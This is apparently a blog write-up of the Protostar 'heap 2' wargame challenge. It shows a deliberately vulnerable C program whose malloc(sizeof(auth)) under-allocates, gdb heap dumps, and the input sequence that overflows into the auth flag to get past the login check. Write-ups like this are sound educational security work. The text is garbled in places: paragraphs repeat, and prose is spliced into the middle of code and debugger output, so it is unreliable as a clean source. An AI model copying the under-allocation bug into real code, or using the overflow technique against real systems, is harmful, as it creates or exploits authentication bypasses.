This is the write-up for heap 2 challenge for the Protostar wargame.
The source code of the vulnerable program is provided as follow:
it should have reserved 40 bytes. The key instruction here is:
should have been passed a sizeof(struct auth) instead. This may be missed in a quick glance when the pointer's name is the same as the structure's name. To exploit this program, we have to set auth->auth (the int in struct auth)
which points at 32 bytes offset from the returned address of the malloc().
Counting off 8 bytes of the first allocated chunk + 8 bytes of the second
allocated chunk's header, we will set the 17th byte of the second chunk's data
block in order to have auth->auth being true. To clarify a bit more, here is how our heap space will be when using service + 16 bytes (16th being the 0x0a new line character.)
The source code of the vulnerable program is provided as follow:
#include <stdlib.h>Even if you miss the error after a first quick glance and you didn't get the "heap pointers are stale" , this should raise your eyebrows.
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
user@protostar:~$ /opt/protostar/bin/heap2The first malloc returned 0x804c008 and the second malloc returned 0x804c018 i.e there is 16 bytes space between the two. Uncounting the 8 bytes of the second chunk's header, it means that the malloc() reserved 8 bytes space (at most; rounding up to the next double word multiple.)
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
auth A
[ auth = 0x804c018, service = (nil) ]
(gdb) continueWait, what ? But our structure's size is 36 bytes (32 for char + 4 for int) and
Continuing.
[ auth = (nil), service = (nil) ]
auth A
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000: 0x00000000 0x00000011 0x00000a41 0x00000000
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
auth B
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000: 0x00000000 0x00000011 0x00000a41 0x00000000
0x804c010: 0x00000000 0x00000011 0x00000a42 0x00000000
0x804c020: 0x00000000 0x00000fe1 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
it should have reserved 40 bytes. The key instruction here is:
auth = malloc(sizeof(auth));auth is "struct auth" pointer, and a pointer's size is 4 bytes (in x86)! the malloc
should have been passed a sizeof(struct auth) instead. This may be missed in a quick glance when the pointer's name is the same as the structure's name. To exploit this program, we have to set auth->auth (the int in struct auth)
which points at 32 bytes offset from the returned address of the malloc().
Counting off 8 bytes of the first allocated chunk + 8 bytes of the second
allocated chunk's header, we will set the 17th byte of the second chunk's data
block in order to have auth->auth being true. To clarify a bit more, here is how our heap space will be when using service + 16 bytes (16th being the 0x0a new line character.)
(gdb) continueAnd when writing at least 17 bytes:
Continuing.
[ auth = (nil), service = (nil) ]
auth A
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
service 123456789ABCDE
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000: 0x00000000 0x00000011 0x00000a41 0x00000000
0x804c010: 0x00000000 0x00000019 0x33323120 0x37363534
0x804c020: 0x42413938 0x0a454443 0x00000000 0x00000fd9
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
(gdb) continueAnd that is it for heap 2 challenge!
Continuing.
[ auth = (nil), service = (nil) ]
auth A
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
service 123456789ABCDEF
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000: 0x00000000 0x00000011 0x00000a41 0x00000000
0x804c010: 0x00000000 0x00000019 0x33323120 0x37363534
0x804c020: 0x42413938 0x46454443 0x0000000a 0x00000fd9
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
No comments:
Post a Comment